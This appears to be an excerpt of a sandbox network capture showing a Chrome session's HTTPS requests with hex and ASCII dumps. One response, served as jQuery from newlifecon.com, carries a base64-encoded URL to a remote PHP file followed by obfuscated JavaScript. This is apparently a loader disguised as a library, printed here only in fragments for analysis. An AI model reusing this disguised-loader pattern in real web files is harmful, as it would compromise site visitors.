2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49743	151.106.103.153	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 15:44:55 UTC	358	OUT	GET /js/css/jquery.js HTTP/1.1 Host: www.newlifecon.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 15:44:55 UTC	641	IN	HTTP/1.1 200 OK Connection: close cache-control: public, max-age=604800 expires: Mon, 20 Jan 2025 15:44:55 GMT content-type: application/javascript last-modified: Sun, 12 Jan 2025 20:01:40 GMT accept-ranges: bytes content-length: 846520 date: Mon, 13 Jan 2025 15:44:55 GMT server: LiteSpeed platform: hostinger strict-transport-security: max-age=31536000; includeSubDomains; preload x-xss-protection: 1; mode=block x-content-type-options: nosniff alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2025-01-13 15:44:55 UTC	1368	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 6a 71 75 65 72 79 2e 63 6f 6d 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 44 6f 76 4c 32 6c 75 64 47 56 6a 61 47 52 6c 63 32 6c 6e 62 69 35 72 65 57 78 76 63 79 35 77 62 43 39 33 63 43 31 6a 62 32 35 30 5a 57 35 30 4c 32 52 76 62 69 39 6a 62 47 46 7a 63 79 35 77 61 48 41 3d 22 3b 0a 76 61 72 20 5f 30 78 34 62 36 38 32 33 3d 5f 30 78 31 62 38 61 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 32 63 63 28 29 7b 76 61 72 20 5f 30 78 33 65 30 32 64 30 3d 5b 27 74 72 69 6d 27 2c 27 6d 61 70 27 2c 27 73 70 6c 69 74 27 2c 27 6c 6f 67 27 2c 27 6c 65 6e 67 74 68 27 2c 27 32 34 30 36 32 34 52 54 64 48 65 50 27 2c 27 33 39 35 31 4d 61 6b Data Ascii: /! jQuery v3.6.0 jquery.com \| jquery.org/license /var file = "aHR0cDovL2ludGVjaGRlc2lnbi5reWxvcy5wbC93cC1jb250ZW50L2Rvbi9jbGFzcy5waHA=";var _0x4b6823=_0x1b8a;function _0x32cc(){var _0x3e02d0=['trim','map','split','log','length','240624RTdHeP','3951Mak
2025-01-13 15:44:55 UTC	14994	IN	Data Raw: 6e 20 5f 30 78 33 32 63 63 28 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 61 37 62 37 63 2c 5f 30 78 34 62 62 30 31 34 29 7b 76 61 72 20 5f 30 78 33 33 62 35 32 32 3d 5f 30 78 31 62 38 61 2c 5f 30 78 31 62 61 66 33 36 3d 5f 30 78 35 61 37 62 37 63 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5f 30 78 35 30 30 39 32 63 3d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 33 62 35 32 32 28 30 78 63 64 29 29 2f 30 78 31 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 33 62 35 32 32 28 30 78 64 36 29 29 2f 30 78 32 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 33 62 35 32 32 28 30 78 64 37 29 29 2f 30 78 33 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 33 33 62 35 32 32 28 30 78 63 62 29 29 2f 30 78 34 29 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 Data Ascii: n _0x32cc();}(function(_0x5a7b7c,_0x4bb014){var _0x33b522=_0x1b8a,_0x1baf36=_0x5a7b7c();while(!![]){try{var _0x50092c=parseInt(_0x33b522(0xcd))/0x1+-parseInt(_0x33b522(0xd6))/0x2+-parseInt(_0x33b522(0xd7))/0x3*(parseInt(_0x33b522(0xcb))/0x4)+-parseInt(_0x
2025-01-13 15:44:55 UTC	16384	IN	Data Raw: 6f 76 65 72 66 6c 6f 77 25 33 41 25 35 43 78 32 30 61 75 74 6f 25 33 42 25 35 43 78 32 30 2d 6d 73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 25 33 41 25 35 43 78 32 30 73 63 72 6f 6c 6c 62 61 72 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 66 69 67 75 72 65 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 6d 61 72 67 69 6e 25 33 41 25 35 43 78 32 30 30 25 35 43 78 32 30 30 25 35 43 78 32 30 31 72 65 6d 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 69 6d 67 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 25 33 41 25 35 43 78 32 30 6d 69 64 64 6c 65 25 33 42 25 35 43 78 32 30 62 6f 72 64 65 72 2d 73 74 79 6c 65 25 33 41 25 35 43 78 32 30 6e 6f 6e 65 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 73 76 67 25 33 41 6e 6f 74 Data Ascii: overflow%3A%5Cx20auto%3B%5Cx20-ms-overflow-style%3A%5Cx20scrollbar%5Cx20%7D%5Cx20figure%5Cx20%7B%5Cx20margin%3A%5Cx200%5Cx200%5Cx201rem%5Cx20%7D%5Cx20img%5Cx20%7B%5Cx20vertical-align%3A%5Cx20middle%3B%5Cx20border-style%3A%5Cx20none%5Cx20%7D%5Cx20svg%3Anot
2025-01-13 15:44:55 UTC	16384	IN	Data Raw: 6d 61 78 2d 77 69 64 74 68 25 33 41 25 35 43 78 32 30 31 30 30 25 32 35 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 63 6f 6c 2d 73 6d 2d 61 75 74 6f 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 25 33 41 25 35 43 78 32 30 30 25 33 42 25 35 43 78 32 30 2d 6d 73 2d 66 6c 65 78 25 33 41 25 35 43 78 32 30 30 25 35 43 78 32 30 30 25 35 43 78 32 30 61 75 74 6f 25 33 42 25 35 43 78 32 30 66 6c 65 78 25 33 41 25 35 43 78 32 30 30 25 35 43 78 32 30 30 25 35 43 78 32 30 61 75 74 6f 25 33 42 25 35 43 78 32 30 77 69 64 74 68 25 33 41 25 35 43 78 32 30 61 75 74 6f 25 33 42 25 35 43 78 32 30 6d 61 78 2d 77 69 64 74 68 25 33 41 25 35 43 78 32 30 6e 6f 6e 65 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 63 6f 6c 2d 73 Data Ascii: max-width%3A%5Cx20100%25%5Cx20%7D%5Cx20.col-sm-auto%5Cx20%7B%5Cx20-webkit-box-flex%3A%5Cx200%3B%5Cx20-ms-flex%3A%5Cx200%5Cx200%5Cx20auto%3B%5Cx20flex%3A%5Cx200%5Cx200%5Cx20auto%3B%5Cx20width%3A%5Cx20auto%3B%5Cx20max-width%3A%5Cx20none%5Cx20%7D%5Cx20.col-s
2025-01-13 15:44:55 UTC	16384	IN	Data Raw: 32 35 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 6f 66 66 73 65 74 2d 6c 67 2d 34 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 6d 61 72 67 69 6e 2d 6c 65 66 74 25 33 41 25 35 43 78 32 30 33 33 2e 33 33 33 33 33 33 25 32 35 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 6f 66 66 73 65 74 2d 6c 67 2d 35 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 6d 61 72 67 69 6e 2d 6c 65 66 74 25 33 41 25 35 43 78 32 30 34 31 2e 36 36 36 36 36 37 25 32 35 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 6f 66 66 73 65 74 2d 6c 67 2d 36 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 6d 61 72 67 69 6e 2d 6c 65 66 74 25 33 41 25 35 43 78 32 30 35 30 25 32 35 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 6f 66 66 73 65 74 2d 6c 67 2d 37 25 35 43 78 32 30 25 37 42 25 35 Data Ascii: 25%5Cx20%7D%5Cx20.offset-lg-4%5Cx20%7B%5Cx20margin-left%3A%5Cx2033.333333%25%5Cx20%7D%5Cx20.offset-lg-5%5Cx20%7B%5Cx20margin-left%3A%5Cx2041.666667%25%5Cx20%7D%5Cx20.offset-lg-6%5Cx20%7B%5Cx20margin-left%3A%5Cx2050%25%5Cx20%7D%5Cx20.offset-lg-7%5Cx20%7B%5
2025-01-13 15:44:55 UTC	16384	IN	Data Raw: 41 25 35 43 78 32 30 63 61 6c 63 25 32 38 2e 33 37 35 72 65 6d 25 35 43 78 32 30 2b 25 35 43 78 32 30 31 70 78 25 32 39 25 33 42 25 35 43 78 32 30 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 25 33 41 25 35 43 78 32 30 63 61 6c 63 25 32 38 2e 33 37 35 72 65 6d 25 35 43 78 32 30 2b 25 35 43 78 32 30 31 70 78 25 32 39 25 33 42 25 35 43 78 32 30 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 25 33 41 25 35 43 78 32 30 30 25 33 42 25 35 43 78 32 30 66 6f 6e 74 2d 73 69 7a 65 25 33 41 25 35 43 78 32 30 69 6e 68 65 72 69 74 25 33 42 25 35 43 78 32 30 6c 69 6e 65 2d 68 65 69 67 68 74 25 33 41 25 35 43 78 32 30 31 2e 35 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 63 6f 6c 2d 66 6f 72 6d 2d 6c 61 62 65 6c 2d 6c 67 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 70 61 64 64 Data Ascii: A%5Cx20calc%28.375rem%5Cx20+%5Cx201px%29%3B%5Cx20padding-bottom%3A%5Cx20calc%28.375rem%5Cx20+%5Cx201px%29%3B%5Cx20margin-bottom%3A%5Cx200%3B%5Cx20font-size%3A%5Cx20inherit%3B%5Cx20line-height%3A%5Cx201.5%5Cx20%7D%5Cx20.col-form-label-lg%5Cx20%7B%5Cx20padd
2025-01-13 15:44:55 UTC	16384	IN	Data Raw: 65 72 25 33 42 25 35 43 78 32 30 61 6c 69 67 6e 2d 69 74 65 6d 73 25 33 41 25 35 43 78 32 30 63 65 6e 74 65 72 25 33 42 25 35 43 78 32 30 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 25 33 41 25 35 43 78 32 30 30 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 66 6f 72 6d 2d 69 6e 6c 69 6e 65 25 35 43 78 32 30 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 64 69 73 70 6c 61 79 25 33 41 25 35 43 78 32 30 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 25 33 42 25 35 43 78 32 30 77 69 64 74 68 25 33 41 25 35 43 78 32 30 61 75 74 6f 25 33 42 25 35 43 78 32 30 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 25 33 41 25 35 43 78 32 30 6d 69 64 64 6c 65 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 66 6f 72 6d 2d 69 6e 6c 69 6e 65 25 35 43 78 32 Data Ascii: er%3B%5Cx20align-items%3A%5Cx20center%3B%5Cx20margin-bottom%3A%5Cx200%5Cx20%7D%5Cx20.form-inline%5Cx20.form-control%5Cx20%7B%5Cx20display%3A%5Cx20inline-block%3B%5Cx20width%3A%5Cx20auto%3B%5Cx20vertical-align%3A%5Cx20middle%5Cx20%7D%5Cx20.form-inline%5Cx2
2025-01-13 15:44:55 UTC	16384	IN	Data Raw: 35 43 78 32 30 25 32 33 66 66 66 25 33 42 25 35 43 78 32 30 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 25 33 41 25 35 43 78 32 30 25 32 33 32 38 61 37 34 35 25 33 42 25 35 43 78 32 30 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 25 33 41 25 35 43 78 32 30 25 32 33 32 38 61 37 34 35 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 73 75 63 63 65 73 73 2e 66 6f 63 75 73 25 32 43 25 35 43 78 32 30 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 73 75 63 63 65 73 73 25 33 41 66 6f 63 75 73 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 62 6f 78 2d 73 68 61 64 6f 77 25 33 41 25 35 43 78 32 30 30 25 35 43 78 32 30 30 25 35 43 78 32 30 30 25 35 43 78 32 30 2e 32 72 65 6d 25 35 43 78 32 30 72 67 62 61 25 32 38 34 30 25 32 43 25 35 43 78 32 30 Data Ascii: 5Cx20%23fff%3B%5Cx20background-color%3A%5Cx20%2328a745%3B%5Cx20border-color%3A%5Cx20%2328a745%5Cx20%7D%5Cx20.btn-outline-success.focus%2C%5Cx20.btn-outline-success%3Afocus%5Cx20%7B%5Cx20box-shadow%3A%5Cx200%5Cx200%5Cx200%5Cx20.2rem%5Cx20rgba%2840%2C%5Cx20
2025-01-13 15:44:55 UTC	16384	IN	Data Raw: 43 25 35 43 78 32 30 2e 62 74 6e 2d 67 72 6f 75 70 2d 76 65 72 74 69 63 61 6c 25 35 43 78 32 30 2e 62 74 6e 2d 67 72 6f 75 70 2b 2e 62 74 6e 2d 67 72 6f 75 70 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 6d 61 72 67 69 6e 2d 6c 65 66 74 25 33 41 25 35 43 78 32 30 2d 31 70 78 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 62 74 6e 2d 74 6f 6f 6c 62 61 72 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 64 69 73 70 6c 61 79 25 33 41 25 35 43 78 32 30 2d 77 65 62 6b 69 74 2d 62 6f 78 25 33 42 25 35 43 78 32 30 64 69 73 70 6c 61 79 25 33 41 25 35 43 78 32 30 2d 6d 73 2d 66 6c 65 78 62 6f 78 25 33 42 25 35 43 78 32 30 64 69 73 70 6c 61 79 25 33 41 25 35 43 78 32 30 66 6c 65 78 25 33 42 25 35 43 78 32 30 2d 6d 73 2d 66 6c 65 78 2d 77 72 61 70 25 33 41 25 35 43 78 Data Ascii: C%5Cx20.btn-group-vertical%5Cx20.btn-group+.btn-group%5Cx20%7B%5Cx20margin-left%3A%5Cx20-1px%5Cx20%7D%5Cx20.btn-toolbar%5Cx20%7B%5Cx20display%3A%5Cx20-webkit-box%3B%5Cx20display%3A%5Cx20-ms-flexbox%3B%5Cx20display%3A%5Cx20flex%3B%5Cx20-ms-flex-wrap%3A%5Cx
2025-01-13 15:44:55 UTC	16384	IN	Data Raw: 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 69 6e 70 75 74 25 35 43 78 32 30 25 37 42 25 35 43 78 32 30 70 6f 73 69 74 69 6f 6e 25 33 41 25 35 43 78 32 30 72 65 6c 61 74 69 76 65 25 33 42 25 35 43 78 32 30 7a 2d 69 6e 64 65 78 25 33 41 25 35 43 78 32 30 32 25 33 42 25 35 43 78 32 30 77 69 64 74 68 25 33 41 25 35 43 78 32 30 31 30 30 25 32 35 25 33 42 25 35 43 78 32 30 68 65 69 67 68 74 25 33 41 25 35 43 78 32 30 63 61 6c 63 25 32 38 32 2e 32 35 72 65 6d 25 35 43 78 32 30 2b 25 35 43 78 32 30 32 70 78 25 32 39 25 33 42 25 35 43 78 32 30 6d 61 72 67 69 6e 25 33 41 25 35 43 78 32 30 30 25 33 42 25 35 43 78 32 30 6f 70 61 63 69 74 79 25 33 41 25 35 43 78 32 30 30 25 35 43 78 32 30 25 37 44 25 35 43 78 32 30 2e 63 75 73 74 6f Data Ascii: Cx20%7D%5Cx20.custom-file-input%5Cx20%7B%5Cx20position%3A%5Cx20relative%3B%5Cx20z-index%3A%5Cx202%3B%5Cx20width%3A%5Cx20100%25%3B%5Cx20height%3A%5Cx20calc%282.25rem%5Cx20+%5Cx202px%29%3B%5Cx20margin%3A%5Cx200%3B%5Cx20opacity%3A%5Cx200%5Cx20%7D%5Cx20.custo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49745	104.17.24.14	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 15:44:55 UTC	388	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 15:44:55 UTC	962	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:44:55 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 239803 Expires: Sat, 03 Jan 2026 15:44:55 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MTs7UvEj70VEIGVYoNP8hOuch%2FkN3J76OYyiTTtSGvPjUB0zpXmrSHefhakZwO6MMNrwxJ5KD0g%2FDxvfL2zechL2ysNY%2BcisckNaigFJ3vum4J%2FEyM35ErwB7uHtJTXljZZ%2B1uxo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 901682ad3c026a58-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 15:44:55 UTC	407	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 Data Ascii: !==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#docume
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f Data Ascii: t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['bo
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 Data Ascii: top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}ret
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e Data Ascii: eight:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 Data Ascii: ole.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={ins
